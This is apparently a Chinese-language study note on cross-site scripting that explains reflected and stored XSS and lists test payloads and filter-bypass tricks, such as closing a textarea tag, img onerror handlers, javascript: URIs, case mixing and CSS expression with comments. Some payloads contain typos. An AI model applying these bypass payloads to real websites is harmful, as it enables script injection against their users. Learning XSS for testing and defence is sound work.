XSS漏洞产生的原因是:对用户的输入过滤不足
1. xss的分类:
a) 反射型xss
i. 也成非持久性跨站脚本,最常见使用最多
ii. 主要用于将恶意脚本附加到URL地址的参数中
iii. 主要出现在网站的搜索栏,用户登录入口等
b) 持久型跨站脚本
i. 存储型跨站脚本,能影响到web本身的安全性
ii. 将恶意js代码上传或存储到漏洞服务器中
iii. 一般出现在网站的的留言、评论、博客中等,浏览就会执行
iv. 可以利用此类xss编写xss蠕虫
2. 脚本测试语句
a) 反射型
i. XSS<XSS>"" 可能不现实 通过源代码查看是否插入成功
1. 如果成功,输入完整的xss代码: <script>alert("/内容/")</script> //执行完url路径会发生变化
b) 持久型跨站型
i. 先测试 <script>alert("/内容/")</script> 如果源代码中以纯文本方式存放,可能是程序对xss进行了转义,需要先闭合上级标签
ii. 如:<textareaname=”conteng” cols=….>
则应该先闭合他 使用:
</textarea><script>alert(/xss/)</script><textarea>//类似sql注入闭合
Xss过滤用例
1. 利用<>标记注射html/javascript 如: <script>alert(/xss/)</script>
2. 利用html标签属性值执行xss 如:<imgsrc=”javascript:alert(‘内容’);”>
如:<table background=”javascript:alert(/内容/)”></table>
3. 空格回车TABL 如:<imgsrc=”javas cript:alert(/xss/)”width=100>
Js把;号看为语句终止符,所以可以构造: <img src=”javas
Cript:
Alert(/xss)”width=100>
4. 对标签属性值转码
<img src=”javascriptt:alert(/xss/);”>
5. 产生自己的事件
不能依靠属性值进行跨站
如:一个正常的事件:<inputtype=”button” value=”clicke me” onclick=”alert(‘click me’)”/>
利用跨站脚本:<img src=”#”onerror=alert(/xss/)>
//onerror是IMG的一个标记事件,页面错误会立即执行,这个例子中,发生错误会执行 src事件
测试事件还有很多:如:Onresume,Onreverse,Onrowdelete,Onseek….等
6. 利用css跨站剖析
<div style=”background-image:url(javascript:alert(‘xss’))”>
绕过过滤规则:
一个正常的xss输入: <img src=”javascript:alert(1);”>
转换大小写:<IMG SRC=”javascript:alert(1);”>
大小写混合:<IMg sRc=”jaVascript:alert(1);”>
不用双引用单引:< img src =’javascript:alert(1);’>
不用引号:< img src =javascript:alert(1);>
非常规:< img/src =”bnsky.png”alt=bnsky”> 这行和下行只有IE6可以
<img/src =”javascript:alert(‘内容’);”>
利用expression时,可以构造不同的全角字符:
<XSSSTYLE=”xss:expression(alert(‘xss’))’>
<divstyle=”{left:e x p r e s s I o n (alert(‘xss’))}’>
样式表中的/**/会被浏览器忽略:
<XSSSTYLE=”xss:expr/*xss*/ession(alert(‘xss’))’>
<divstyle=”wid/****/th:expressIon(alert(‘xss’))’>
也可以把内容转化成十进制或者十六进制
<img/src =”十六进制内容”>